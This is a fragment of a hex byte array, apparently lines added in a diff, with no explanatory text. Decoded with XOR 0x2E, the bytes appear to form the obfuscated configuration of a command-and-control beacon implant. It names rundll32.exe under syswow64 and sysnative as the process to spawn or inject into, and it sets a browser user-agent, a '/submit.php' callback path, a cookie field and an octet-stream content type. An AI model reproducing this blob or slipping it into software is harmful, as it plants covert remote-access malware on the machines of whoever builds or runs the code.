0x3C, 0x04, 0x87, 0x36, 0xD9, 0xDA, 0xE7, 0xF1, + 0x4E, 0x42, 0x80, 0x74, 0xE2, 0x39, 0xF1, 0xFE, 0x1E, 0x5E, 0xE1, 0x0E, + 0xA6, 0x0F, 0x3E, 0xAC, 0x60, 0x1F, 0xB3, 0x81, 0x43, 0x6C, 0x41, 0x3B, + 0x12, 0x3F, 0x07, 0x22, 0x07, 0xDE, 0x68, 0x38, 0xD6, 0x8A, 0x8A, 0xF0, + 0x74, 0x0A, 0xFF, 0x63, 0x8E, 0xB2, 0x0B, 0x0A, 0xED, 0x6C, 0xCF, 0x48, + 0x11, 0x38, 0xC6, 0x96, 0xDD, 0x3C, 0x07, 0x42, 0x72, 0x1A, 0x8D, 0xBE, + 0x69, 0x89, 0xE3, 0x18, 0x79, 0x7A, 0x85, 0x86, 0x93, 0x8A, 0x1C, 0x46, + 0xEE, 0xFA, 0x8D, 0xED, 0x0D, 0x5B, 0x17, 0x97, 0x9D, 0xD3, 0xDD, 0xEC, + 0x5B, 0x1D, 0xEB, 0x2C, 0x2D, 0x2F, 0x2E, 0x2F, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x26, 0x2E, 0x2D, 0x2F, 0x2E, + 0x1F, 0x17, 0x1C, 0x00, 0x1F, 0x18, 0x16, 0x00, 0x1F, 0x00, 0x1D, 0x1B, + 0x02, 0x01, 0x4D, 0x4F, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x6D, 0x2E, 0x2F, 0x2E, 0x2C, 0x2E, 0x2E, + 0x2E, 0x6A, 0x2E, 0x2C, 0x2E, 0x2A, 0xD1, 0xD1, 0xD1, 0xD1, 0x2E, 0x6B, + 0x2E, 0x2C, 0x2E, 0x2A, 0xD1, 0xD1, 0xD1, 0xD1, 0x2E, 0x68, 0x2E, 0x2C, + 0x2E, 0x2A, 0xD1, 0xD1, 0xD1, 0xD1, 0x2E, 0x20, 0x2E, 0x2D, 0x2E, 0x3E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x33, 0x2E, 0x2D, 0x2E, 0x6E, 0x0B, 0x59, + 0x47, 0x40, 0x4A, 0x47, 0x5C, 0x0B, 0x72, 0x5D, 0x57, 0x5D, 0x59, 0x41, + 0x59, 0x18, 0x1A, 0x72, 0x5C, 0x5B, 0x40, 0x4A, 0x42, 0x42, 0x1D, 0x1C, + 0x00, 0x4B, 0x56, 0x4B, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x30, 0x2E, 0x2D, 0x2E, 0x6E, 0x0B, 0x59, 0x47, 0x40, + 0x4A, 0x47, 0x5C, 0x0B, 0x72, 0x5D, 0x57, 0x5D, 0x40, 0x4F, 0x5A, 0x47, + 0x58, 0x4B, 0x72, 0x5C, 0x5B, 0x40, 0x4A, 0x42, 0x42, 0x1D, 0x1C, 0x00, + 0x4B, 0x56, 0x4B, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x31, 0x2E, 0x2F, 0x2E, 0x2C, 0x2E, 0x2E, 0x2E, 0x34, 0x2E, 0x2D, + 0x2E, 0x3E, 0x69, 0x6B, 0x7A, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x35, 0x2E, 0x2D, 0x2E, 0x3E, + 0x7E, 0x61, 0x7D, 0x7A, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x32, 0x2E, 0x2C, 0x2E, 0x2A, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x0B, 0x2E, 0x2C, 0x2E, 0x2A, 0x67, 0xB8, 0x2C, 0xFC, + 0x2E, 0x08, 0x2E, 0x2F, 0x2E, 0x2C, 0x2E, 0x2E, 0x2E, 0x09, 0x2E, 0x2F, + 0x2E, 0x2C, 0x2E, 0x2E, 0x2E, 0x27, 0x2E, 0x2D, 0x2F, 0x2E, 0x63, 0x41, + 0x54, 0x47, 0x42, 0x42, 0x4F, 0x01, 0x1B, 0x00, 0x1E, 0x0E, 0x06, 0x4D, + 0x41, 0x43, 0x5E, 0x4F, 0x5A, 0x47, 0x4C, 0x42, 0x4B, 0x15, 0x0E, 0x63, + 0x7D, 0x67, 0x6B, 0x0E, 0x17, 0x00, 0x1E, 0x15, 0x0E, 0x79, 0x47, 0x40, + 0x4A, 0x41, 0x59, 0x5D, 0x0E, 0x60, 0x7A, 0x0E, 0x18, 0x00, 0x1F, 0x15, + 0x0E, 0x79, 0x61, 0x79, 0x18, 0x1A, 0x15, 0x0E, 0x7A, 0x5C, 0x47, 0x4A, + 0x4B, 0x40, 0x5A, 0x01, 0x1B, 0x00, 0x1E, 0x15, 0x0E, 0x6C, 0x61, 0x67, + 0x6B, 0x17, 0x15, 0x7D, 0x78, 0x7D, 0x6B, 0x07, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x24, 0x2E, 0x2D, 0x2E, 0x6E, 0x01, 0x5D, 0x5B, 0x4C, + 0x43, 0x47, 0x5A, 0x00, 0x5E, 0x46, 0x5E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x25, 0x2E, 0x2D, 0x2F, 0x2E, 0x2E, 0x2E, 0x2E, 0x2A, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x22, + 0x2E, 0x2D, 0x2C, 0x2E, 0x2E, 0x2E, 0x2E, 0x29, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2D, 0x2E, 0x2E, 0x2E, 0x28, 0x2E, 0x2E, 0x2E, 0x28, + 0x6D, 0x41, 0x41, 0x45, 0x47, 0x4B, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x23, 0x2E, 0x2D, 0x2C, 0x2E, 0x2E, 0x2E, 0x2E, 0x24, 0x2E, 0x2E, + 0x2E, 0x08, 0x6D, 0x41, 0x40, 0x5A, 0x4B, 0x40, 0x5A, 0x03, 0x7A, 0x57, + 0x5E, 0x4B, 0x14, 0x0E, 0x4F, 0x5E, 0x5E, 0x42, 0x47, 0x4D, 0x4F, 0x5A, + 0x47, 0x41, 0x40, 0x01, 0x41, 0x4D, 0x5A, 0x4B, 0x5A, 0x03, 0x5D, 0x5A, + 0x5C, 0x4B, 0x4F, 0x43, 0x2E, 0x2E, 0x2E, 0x29, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2B, 0x2E, 0x2E, 0x2E, 0x2C, 0x47, 0x4A, 0x2E, 0x2E, + 0x2E, 0x29, 0x2E, 0x2E, 0x2E, 0x2F, 0x2E, 0x2E, 0x2E, 0x2A, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x18, 0x2E, 0x2D, 0x2E, 0xAE, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 